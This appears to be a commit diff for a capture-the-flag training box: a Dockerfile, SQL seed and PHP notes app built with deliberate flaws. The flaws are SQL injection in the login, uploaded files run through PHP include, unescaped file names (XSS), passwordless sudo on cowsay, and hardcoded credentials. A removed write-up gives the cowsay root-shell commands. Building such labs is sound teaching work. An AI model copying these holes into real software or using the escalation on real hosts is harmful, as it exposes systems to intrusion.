* changes
44
README.md
@ -15,55 +15,11 @@ cd docker
|
||||
sudo docker compose up --build
|
||||
```
|
||||
|
||||
### Building and running the docker image
|
||||
|
||||
_todo_
|
||||
```
|
||||
```
|
||||
|
||||
## Writeup
|
||||
|
||||
### Enum
|
||||
|
||||
Scan the IP using nmap for open ports
|
||||
|
||||
```
|
||||
nmap -p- ip
|
||||
```
|
||||
|
||||
The port 22 and 31337 are open.
|
||||
|
||||
We find that there is a web service on port 31337.
|
||||
|
||||
### Foothold
|
||||
|
||||
...
|
||||
|
||||
### Privesc
|
||||
|
||||
We can see that the user is allowed tu run `/usr/games/cowsay` as root using sudo without password.
|
||||
|
||||
```
|
||||
User l33t may run the following commands on srv1prod:
|
||||
(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l
|
||||
```
|
||||
|
||||
Using gtfo bins, we identified that we can spawn a root shell thanks to this misconfiguration.
|
||||
|
||||
[https://gtfobins.github.io/gtfobins/cowsay/](https://gtfobins.github.io/gtfobins/cowsay/)
|
||||
|
||||
```
|
||||
TF=$(mktemp)
|
||||
echo 'exec "/bin/sh";' >$TF
|
||||
sudo cowsay -f $TF x
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
# cat /root/root.txt
|
||||
epita{th3-sup3r-c0ws4y}
|
||||
```
|
||||
|
||||
Solved !
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@ -1,9 +1,17 @@
|
||||
CREATE DATABASE IF NOT EXISTS app;
|
||||
USE app;
|
||||
|
||||
CREATE USER 'ctf'@'%' IDENTIFIED WITH mysql_native_password BY '39gknzLD';
|
||||
GRANT ALL PRIVILEGES ON app.* TO 'ctf'@'%';
|
||||
FLUSH PRIVILEGES;
|
||||
|
||||
CREATE TABLE users
|
||||
(
|
||||
user_id int PRIMARY KEY,
|
||||
username varchar(25) NOT NULL,
|
||||
pass varchar(80) NOT NULL
|
||||
user_id INT PRIMARY KEY AUTO_INCREMENT,
|
||||
username VARCHAR(25) NOT NULL,
|
||||
pass VARCHAR(80) NOT NULL
|
||||
);
|
||||
|
||||
-- cleartext pass ? but why of course
|
||||
INSERT INTO users (user_id,username,pass)
|
||||
VALUES (0,'admin','X82v7>P./~vC');
|
||||
1
config/codes.txt
Normal file
@ -0,0 +1 @@
|
||||
ODQxOTU=
|
||||
@ -1 +1 @@
|
||||
l33t:h4x0r
|
||||
agent:1c0b76fce779f78f51be339c49445c49
|
||||
@ -14,21 +14,27 @@ RUN apt update && apt upgrade -y && \
|
||||
supervisor \
|
||||
openssh-server \
|
||||
sudo \
|
||||
php-mysql\
|
||||
cowsay \
|
||||
php \
|
||||
iputils-ping \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# the user players will need to have access as
|
||||
|
||||
|
||||
RUN useradd -m -s /bin/bash l33t \
|
||||
&& echo "l33t:h4x0r" | chpasswd
|
||||
RUN useradd -m -s /bin/bash agent \
|
||||
&& echo "agent:secure" | chpasswd
|
||||
|
||||
# apache2 config to change default 80 port to 31337
|
||||
# apache2 config to change default 80 port to 8080
|
||||
|
||||
RUN sed -i 's/^Listen 80/Listen 31337/' /etc/apache2/ports.conf
|
||||
RUN sed -i 's/^Listen 80/Listen 8080/' /etc/apache2/ports.conf
|
||||
|
||||
RUN sed -i 's/<VirtualHost \*:80>/<VirtualHost *:31337>/' /etc/apache2/sites-available/000-default.conf
|
||||
RUN sed -i 's/<VirtualHost \*:80>/<VirtualHost *:8080>/' /etc/apache2/sites-available/000-default.conf
|
||||
|
||||
# remove default apache2 index.html
|
||||
|
||||
RUN rm /var/www/html/index.html
|
||||
|
||||
# enable php module
|
||||
RUN ls /etc/apache2/mods-enabled/
|
||||
@ -38,33 +44,39 @@ RUN a2enmod php*
|
||||
|
||||
COPY ./www/ /var/www/html/
|
||||
|
||||
# give upload permissions to the www-data user
|
||||
|
||||
RUN chown -R www-data:www-data /var/www/html/confidential/uploads && chmod -R 755 /var/www/html/confidential/uploads
|
||||
|
||||
# give permissions to access the agent user to www-data
|
||||
|
||||
RUN usermod -aG agent www-data && chmod 750 /home/agent
|
||||
|
||||
RUN mkdir /var/run/sshd
|
||||
|
||||
# (suggestion)
|
||||
# for the privesc, cowsay allowed to be ran with sudo without password
|
||||
# https://gtfobins.github.io/gtfobins/cowsay/
|
||||
|
||||
RUN printf 'l33t ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/l33t && \
|
||||
chmod 0440 /etc/sudoers.d/l33t && \
|
||||
visudo -cf /etc/sudoers.d/l33t
|
||||
RUN printf 'agent ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/agent && \
|
||||
chmod 0440 /etc/sudoers.d/agent && \
|
||||
visudo -cf /etc/sudoers.d/agent
|
||||
|
||||
# copy the l33t user creds and set 777 suid
|
||||
# copy the agent user creds and set 777 suid
|
||||
|
||||
COPY ./config/creds.txt /home/l33t/
|
||||
RUN chmod 777 /home/l33t/creds.txt
|
||||
COPY ./config/creds.txt /home/agent/
|
||||
RUN chmod 777 /home/agent/creds.txt
|
||||
|
||||
# copy the flags and set suid
|
||||
# copy the secret codes and set suid
|
||||
|
||||
COPY ./flags/user.txt /home/l33t/
|
||||
RUN chown l33t:l33t /home/l33t/user.txt
|
||||
COPY ./config/codes.txt /root/
|
||||
|
||||
COPY ./flags/root.txt /root/
|
||||
RUN chown root:root /root/root.txt
|
||||
RUN chown root:root /root/codes.txt
|
||||
|
||||
# 22 port -> ssh, 31337 port (suggestion) -> vulnerable webserver players need to find using nmap port scans
|
||||
# 22 port -> ssh, 8080 port -> webserver
|
||||
|
||||
EXPOSE 22
|
||||
EXPOSE 31337
|
||||
EXPOSE 8080
|
||||
|
||||
# config of supervisord to have both apache2 and sshd services running
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@ services:
|
||||
MYSQL_ROOT_PASSWORD: 39gknzLD
|
||||
MYSQL_DATABASE: app
|
||||
volumes:
|
||||
- $PWD/config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro
|
||||
- ../config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro
|
||||
ports:
|
||||
- "3306:3306"
|
||||
app:
|
||||
|
||||
3
fiveserver.config.js
Normal file
@ -0,0 +1,3 @@
|
||||
module.exports = {
|
||||
php: "/usr/bin/php"
|
||||
}
|
||||
@ -1 +0,0 @@
|
||||
epita{th3-sup3r-c0ws4y}
|
||||
@ -1 +0,0 @@
|
||||
epita{th3-tUx-g4ll3ry-1snT-4s-s3cUr3-4ft3r-4ll}
|
||||
23
www/admin/loadnote.php
Normal file
@ -0,0 +1,23 @@
|
||||
<?php
|
||||
session_start();
|
||||
$uploadsDir = __DIR__ . '/../confidential/uploads/';
|
||||
|
||||
if(empty($_SESSION['username'])) {
|
||||
exit('Access denied.');
|
||||
}
|
||||
|
||||
if(!empty($_POST['file'])) {
|
||||
$file = basename($_POST['file']); // prevent directory traversal
|
||||
$path = $uploadsDir . $file;
|
||||
|
||||
if(file_exists($path)) {
|
||||
ob_start();
|
||||
include $path; // PHP executes here
|
||||
echo ob_get_clean();
|
||||
} else {
|
||||
echo "File not found.";
|
||||
}
|
||||
} else {
|
||||
echo "No file specified.";
|
||||
}
|
||||
?>
|
||||
129
www/admin/securenotes.php
Normal file
@ -0,0 +1,129 @@
|
||||
<?php
|
||||
ini_set('display_errors', 1);
|
||||
ini_set('display_startup_errors', 1);
|
||||
error_reporting(E_ALL);
|
||||
session_start();
|
||||
|
||||
if (empty($_SESSION['username'])) {
|
||||
header('Location: /index.php');
|
||||
exit();
|
||||
}
|
||||
|
||||
// Directory for notes
|
||||
$uploadsDir = __DIR__ . '/../confidential/uploads/';
|
||||
?>
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>NFD | SECURE NOTES</title>
|
||||
<link rel="stylesheet" href="/static/css/stylesheet.css">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet">
|
||||
<script src="https://code.jquery.com/jquery-3.7.0.min.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<?php include '../include/nav.php' ?>
|
||||
<div class="wrapper">
|
||||
|
||||
<form id="uploadForm" method="POST" enctype="multipart/form-data">
|
||||
<h1>Upload notes securely here from each operation.</h1>
|
||||
<i>Notes must be in .txt</i>
|
||||
<hr>
|
||||
<label for="file">Note</label>
|
||||
<input type="file" id="file" name="file">
|
||||
<br><br>
|
||||
<input type="submit" class="btn btn-primary" value="Upload!">
|
||||
</form>
|
||||
|
||||
<!-- Status message -->
|
||||
<div id="statusMessage" class="mt-2"></div>
|
||||
|
||||
<hr>
|
||||
|
||||
<!-- Notes container -->
|
||||
<div class="note-listing d-flex flex-wrap gap-3 justify-content-center" id="notesContainer">
|
||||
<?php
|
||||
// Render all notes
|
||||
foreach (new DirectoryIterator($uploadsDir) as $file) {
|
||||
if($file->isDot() || $file->isDir()) continue;
|
||||
$fileName = $file->getFilename();
|
||||
if (!preg_match('/\.(txt|php)$/i', $fileName)) continue;
|
||||
?>
|
||||
<div class="note-card text-center p-3" style="cursor:pointer;"
|
||||
data-bs-toggle="modal"
|
||||
data-bs-target="#noteModal"
|
||||
data-filename="<?= htmlspecialchars($fileName) ?>">
|
||||
<img src="/static/img/note-icon.png" alt="Note Icon" class="note-icon mb-2">
|
||||
<div class="note-title"><?= htmlspecialchars($fileName) ?></div>
|
||||
</div>
|
||||
<?php } ?>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Modal -->
|
||||
<div class="modal fade" id="noteModal" tabindex="-1" aria-hidden="true">
|
||||
<div class="modal-dialog modal-dialog-centered modal-lg">
|
||||
<div class="modal-content bg-dark text-white">
|
||||
<div class="modal-header">
|
||||
<h5 class="modal-title" id="noteModalLabel"></h5>
|
||||
<button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal"></button>
|
||||
</div>
|
||||
<div class="modal-body" id="noteModalBody">Loading...</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js"></script>
|
||||
|
||||
<script>
|
||||
// Execute PHP on modal open
|
||||
$('#noteModal').on('show.bs.modal', function (event) {
|
||||
let button = $(event.relatedTarget);
|
||||
let fileName = button.data('filename');
|
||||
let modal = $(this);
|
||||
|
||||
modal.find('.modal-title').text(fileName);
|
||||
modal.find('#noteModalBody').text('Loading...');
|
||||
|
||||
$.post('/admin/loadnote.php', { file: fileName }, function(response){
|
||||
modal.find('#noteModalBody').html(response);
|
||||
});
|
||||
});
|
||||
|
||||
// AJAX upload form
|
||||
$('#uploadForm').submit(function(e) {
|
||||
e.preventDefault();
|
||||
let formData = new FormData(this);
|
||||
|
||||
$.ajax({
|
||||
url: '/admin/uploadnote.php',
|
||||
type: 'POST',
|
||||
data: formData,
|
||||
contentType: false,
|
||||
processData: false,
|
||||
success: function(response) {
|
||||
$('#statusMessage').html(response);
|
||||
|
||||
// Reload notes listing
|
||||
$.ajax({
|
||||
url: '/admin/securenotes.php',
|
||||
type: 'GET',
|
||||
dataType: 'html',
|
||||
success: function(data) {
|
||||
// Extract only the notes container HTML
|
||||
let notesHtml = $(data).find('#notesContainer').html();
|
||||
$('#notesContainer').html(notesHtml);
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function() {
|
||||
$('#statusMessage').html("<div class='text-danger'>Upload failed.</div>");
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
28
www/admin/uploadnote.php
Normal file
@ -0,0 +1,28 @@
|
||||
<?php
|
||||
session_start();
|
||||
$destdir = __DIR__ . '/../confidential/uploads/';
|
||||
$status = '';
|
||||
|
||||
if (empty($_SESSION['username'])) exit('Access denied.');
|
||||
|
||||
if (!empty($_FILES['file'])) {
|
||||
$tmpName = $_FILES['file']['tmp_name'];
|
||||
$fileName = basename($_FILES['file']['name']);
|
||||
|
||||
if (preg_match('/\.(txt)$/i', $fileName)) {
|
||||
if (is_uploaded_file($tmpName)) {
|
||||
if (move_uploaded_file($tmpName, $destdir . $fileName)) {
|
||||
$status = "<div class='text-success'>File uploaded!</div>";
|
||||
} else {
|
||||
$status = "<div class='text-danger'>An error occurred.</div>";
|
||||
}
|
||||
} else {
|
||||
$status = "<div class='text-danger'>An error occurred.</div>";
|
||||
}
|
||||
} else {
|
||||
$status = "<div class='text-danger'>Invalid file type!</div>";
|
||||
}
|
||||
}
|
||||
|
||||
echo $status;
|
||||
?>
|
||||
1
www/confidential/uploads/OperationAlpha.txt
Normal file
@ -0,0 +1 @@
|
||||
foobar
|
||||
1
www/confidential/uploads/OperationBravo.txt
Normal file
@ -0,0 +1 @@
|
||||
foobar
|
||||
1
www/confidential/uploads/OperationTourniquet.txt
Normal file
@ -0,0 +1 @@
|
||||
foobar
|
||||
49
www/gallery.php
Normal file
@ -0,0 +1,49 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<?php
|
||||
session_start();
|
||||
?>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Tux gallery !</title>
|
||||
<link rel="stylesheet" href="static/css/stylesheet.css">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
||||
</head>
|
||||
<body>
|
||||
<?php include 'include/nav.php'?>
|
||||
|
||||
<div class="wrapper">
|
||||
<section class="info-part">
|
||||
<h1>Tux gallery</h1>
|
||||
<p>Tux is awesome ! So I made this extremely secure gallery app.</p>
|
||||
<?php if (empty($_SESSION['username'])): ?>
|
||||
You can also add tux pictures to the gallery, first <a href="login.php">login</a> and then you should be able to upload a new image of tux.
|
||||
<?php else: ?>
|
||||
First navigate to the <a href="admin/upload.php">upload.php</a> page and upload your tux image from there!
|
||||
<?php endif; ?>
|
||||
</section>
|
||||
<hr>
|
||||
<section class="gallery-part">
|
||||
<div class="gallery">
|
||||
<?php
|
||||
foreach (new DirectoryIterator('static/img/gallery') as $file) {
|
||||
if($file->isDot()) continue;
|
||||
print '<img class="tux-img" src="/static/img/gallery/'. $file->getFilename() . '" onerror="this.onerror=null;this.src=`/static/img/fallback.png`;" data-original="/static/img/gallery/'. $file->getFilename() .'">'; // to do, is there an 'fstring' like for php ? just like in python
|
||||
} // xss ? i call it a feature
|
||||
?>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
||||
<script>
|
||||
window.addEventListener("load", () => {
|
||||
Array.from(document.getElementsByClassName("tux-img")).forEach(img => {
|
||||
img.addEventListener('click', function() {
|
||||
window.open(img.dataset.original);
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@ -1,13 +1,18 @@
|
||||
<?php
|
||||
|
||||
echo "<nav class='navbar navbar-expand-lg navbar-light bg-light'>
|
||||
<a class='navbar-brand' href='index.php'><img alt='logo' class='logo' src='static/img/logo.jpg'>Tux Gallery </a>
|
||||
|
||||
<div class='collapse navbar-collapse' id='navbarSupportedContent'>
|
||||
<ul class='navbar-nav mr-auto'>
|
||||
<li class='nav-item'>
|
||||
<a class='nav-link' href='login.php'>Login</a>
|
||||
</li>
|
||||
</div>
|
||||
</nav>";
|
||||
$username = $_SESSION['username'] ?? null;
|
||||
?>
|
||||
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
|
||||
<a class="navbar-brand" href="/index.php">
|
||||
<img alt="logo" class="logo" src="/static/img/logo.gif" style="height:28px; margin-right:8px;">
|
||||
National Defense Force
|
||||
</a>
|
||||
|
||||
<div class="collapse navbar-collapse" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav mr-auto">
|
||||
<?php if ($username): ?>
|
||||
<li class="nav-item"><a class="nav-link" href="/admin/upload.php">Dashboard</a></li>
|
||||
<li class="nav-item"><a class="nav-link" href="/logout.php">Disconnect</a></li>
|
||||
<?php endif; ?>
|
||||
</ul>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@ -1,40 +1,63 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<?php
|
||||
ini_set('display_errors', 1);
|
||||
ini_set('display_startup_errors', 1);
|
||||
error_reporting(E_ALL);
|
||||
session_start();
|
||||
if (!empty($_SESSION['username'])) {
|
||||
header('Location: /admin/securenotes.php');
|
||||
exit();
|
||||
}
|
||||
|
||||
?>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Tux gallery !</title>
|
||||
<link rel="stylesheet" href="static/css/stylesheet.css">
|
||||
<title>NDF | LOGIN</title>
|
||||
<link rel="stylesheet" href="/static/css/stylesheet.css">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
||||
</head>
|
||||
<body>
|
||||
<?php include 'include/nav.php'?>
|
||||
|
||||
<div class="wrapper">
|
||||
<section class="info-part">
|
||||
<h1>Tux gallery</h1>
|
||||
<p>Tux is awesome ! So I made this extremely secure gallery app.</p>
|
||||
<p>You can also add tux pictures to the gallery, first <a href="login.php">login</a> and then you should be able to upload a new image of tux.</p>
|
||||
</section>
|
||||
<section class="gallery-part">
|
||||
<div class="gallery">
|
||||
<?php
|
||||
foreach (new DirectoryIterator('static/img/gallery') as $file) {
|
||||
if($file->isDot()) continue;
|
||||
print '<img class="tux-img" src="static/img/gallery/'. $file->getFilename() . '">'; // to do, is there an 'fstring' like for php ? just like in python
|
||||
} // xss ? i call it a feature
|
||||
<div class="header-bar"></div>
|
||||
<form id="loginForm" method="POST" action="index.php">
|
||||
<h1>NDF ACCESS</h1>
|
||||
<label for="username">Username</label>
|
||||
<input type="text" id="username" name="username" required>
|
||||
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password" required>
|
||||
|
||||
<input type="submit" value="Login">
|
||||
<?php
|
||||
if (!empty($_POST)) {
|
||||
$name = $_POST['username'];
|
||||
$password = $_POST['password'];
|
||||
if (empty($name)) {
|
||||
echo '<div class="error-message">Username is empty.</div>';
|
||||
} else {
|
||||
$servername = "db";
|
||||
$username = "ctf";
|
||||
$password_db = "39gknzLD";
|
||||
$dbname = "app";
|
||||
$conn = new mysqli($servername, $username, $password_db, $dbname);
|
||||
$sql = "SELECT username, pass FROM users WHERE username='$name' AND pass='$password'";
|
||||
$result = $conn->query($sql);
|
||||
if ($result->num_rows > 0) {
|
||||
session_regenerate_id(true);
|
||||
$_SESSION['username'] = $name;
|
||||
header('Location: /admin/securenotes.php');
|
||||
exit();
|
||||
} else {
|
||||
echo '<div class="error-message">Wrong username or password!</div>';
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
</div>
|
||||
</section>
|
||||
</form>
|
||||
</div>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
||||
<script>
|
||||
window.addEventListener("load", (event) => {
|
||||
console.log(document.getElementsByClassName("tux-img"))
|
||||
Array.from(document.getElementsByClassName("tux-img")).forEach(img => {
|
||||
img.addEventListener('click',function(){window.open(img.src)})
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js" integrity="sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI" crossorigin="anonymous"></script>
|
||||
</body>
|
||||
</html>
|
||||
@ -1,52 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Tux gallery !</title>
|
||||
<link rel="stylesheet" href="static/css/stylesheet.css">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB" crossorigin="anonymous">
|
||||
</head>
|
||||
<body>
|
||||
<?php include 'include/nav.php'?>
|
||||
<div class="wrapper">
|
||||
<form id="loginForm" method="POST" action="login.php">
|
||||
<h1>Login</h1>
|
||||
<p>Note : The register feature is not implemented yet !</p>
|
||||
<label for="username">Username</label>
|
||||
<input type="text" id="username" name="username">
|
||||
<label for="password">Password</label>
|
||||
<input type="password" id="password" name="password">
|
||||
<input type="button" class="btn btn-primary" value="Login">
|
||||
</form>
|
||||
</div>
|
||||
<?php
|
||||
// to do :
|
||||
// connect to mysql db
|
||||
// add sqli vulnerable login functionnality
|
||||
// ??
|
||||
// profit
|
||||
$servername = "db";
|
||||
$username = "root";
|
||||
$password = "39gknzLD";
|
||||
|
||||
$conn = new mysqli($servername, $username, $password);
|
||||
|
||||
if (! empty($_POST)) {
|
||||
$name = $_POST['username'];
|
||||
$password = $_POST['password'];
|
||||
if (empty($name)) {
|
||||
echo "Username is empty.";
|
||||
} else {
|
||||
$sql = 'SELECT username,pass FROM users WHERE username=' . $name . ' AND pass=' . $password; // sqli here
|
||||
$result = $conn->query($sql);
|
||||
if ($result->num_rows > 0) {
|
||||
echo "CONNECTED" // do redirect to upload page
|
||||
} else {
|
||||
echo "Wrong username or password !";
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
</body>
|
||||
</html>
|
||||
14
www/logout.php
Normal file
@ -0,0 +1,14 @@
|
||||
<?php
|
||||
|
||||
session_start();
|
||||
$_SESSION = [];
|
||||
if (ini_get("session.use_cookies")) {
|
||||
$params = session_get_cookie_params();
|
||||
setcookie(session_name(), '', time() - 42000,
|
||||
$params["path"], $params["domain"],
|
||||
$params["secure"], $params["httponly"]
|
||||
);
|
||||
}
|
||||
session_destroy();
|
||||
header('Location: index.php');
|
||||
exit();
|
||||
@ -4,42 +4,138 @@
|
||||
height:50px;
|
||||
width:auto;
|
||||
}
|
||||
.wrapper {
|
||||
display:block;
|
||||
margin-left:15%;
|
||||
margin-right:15%;
|
||||
}
|
||||
|
||||
.info-part{
|
||||
margin-left:15%;
|
||||
margin-right:15%;
|
||||
}
|
||||
|
||||
.gallery img{
|
||||
max-width:250px;
|
||||
max-height:250px;
|
||||
}
|
||||
.gallery{
|
||||
padding:10px;
|
||||
background-color:black;
|
||||
display:grid;
|
||||
grid-template-columns: auto auto auto auto;
|
||||
}
|
||||
|
||||
#loginForm{
|
||||
display:grid;
|
||||
margin-right:30%;
|
||||
margin-left:30%;
|
||||
gap:5px;
|
||||
}
|
||||
body {
|
||||
margin: 0;
|
||||
height: 100vh;
|
||||
font-family: 'Arial', sans-serif;
|
||||
color: #f1f1f1;
|
||||
|
||||
.tux-img{
|
||||
cursor:pointer;
|
||||
transition: all 0.1s ease-in-out;
|
||||
border:2px solid white;
|
||||
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.tux-img:hover{
|
||||
border:2px solid rgb(255, 196, 0);
|
||||
body::before {
|
||||
content: "";
|
||||
position: absolute;
|
||||
top: 0; left: 0;
|
||||
width: 100%; height: 100%;
|
||||
background: url('../../static/img/background.gif') center center / cover no-repeat;
|
||||
z-index: -2;
|
||||
}
|
||||
|
||||
body::after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
top: 0; left: 0;
|
||||
width: 100%; height: 100%;
|
||||
background-color: rgba(0, 0, 0, 0.85);
|
||||
z-index: -1;
|
||||
}
|
||||
|
||||
.wrapper {
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
margin-top:10%;
|
||||
margin-bottom:auto;
|
||||
background-color: #1a1a1a;
|
||||
padding: 30px;
|
||||
color:white;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 0 20px rgba(0,0,0,0.8);
|
||||
width: 800px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
|
||||
label {
|
||||
font-weight: bold;
|
||||
margin-top: 15px;
|
||||
}
|
||||
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin-top: 5px;
|
||||
background-color: #0f0f0f;
|
||||
border: 1px solid #333;
|
||||
border-radius: 4px;
|
||||
color: #f1f1f1;
|
||||
}
|
||||
|
||||
input[type="submit"] {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin-top: 20px;
|
||||
background-color: #d32f2f;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
color: #fff;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.3s;
|
||||
}
|
||||
|
||||
input[type="submit"]:hover {
|
||||
background-color: #a12a2a;
|
||||
}
|
||||
|
||||
.header-bar {
|
||||
width: 100%;
|
||||
height: 5px;
|
||||
background-color: #d32f2f;
|
||||
margin-bottom: 20px;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: #ff4d4d;
|
||||
margin-top: 10px;
|
||||
font-size: 0.9em;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.note-listing {
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.note-card {
|
||||
width: 120px;
|
||||
background-color: #2a2a2a;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 0 10px rgba(0,0,0,0.6);
|
||||
transition: transform 0.2s, box-shadow 0.2s;
|
||||
}
|
||||
|
||||
.note-card:hover {
|
||||
transform: translateY(-5px);
|
||||
box-shadow: 0 0 15px rgba(211, 47, 47, 0.8);
|
||||
}
|
||||
|
||||
.note-icon {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
}
|
||||
|
||||
.note-title {
|
||||
font-size: 0.9rem;
|
||||
margin-top: 5px;
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
|
||||
|
||||
BIN
www/static/img/background.gif
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
www/static/img/fallback.png
Normal file
|
After Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 65 KiB |
|
Before Width: | Height: | Size: 30 KiB |
|
Before Width: | Height: | Size: 106 KiB |
|
Before Width: | Height: | Size: 205 KiB |
|
Before Width: | Height: | Size: 378 KiB |
|
Before Width: | Height: | Size: 84 KiB |
|
Before Width: | Height: | Size: 179 KiB |
|
Before Width: | Height: | Size: 117 KiB |
|
Before Width: | Height: | Size: 483 KiB |
BIN
www/static/img/logo.gif
Normal file
|
After Width: | Height: | Size: 635 KiB |
|
Before Width: | Height: | Size: 30 KiB |
BIN
www/static/img/note-icon.png
Normal file
|
After Width: | Height: | Size: 3.4 KiB |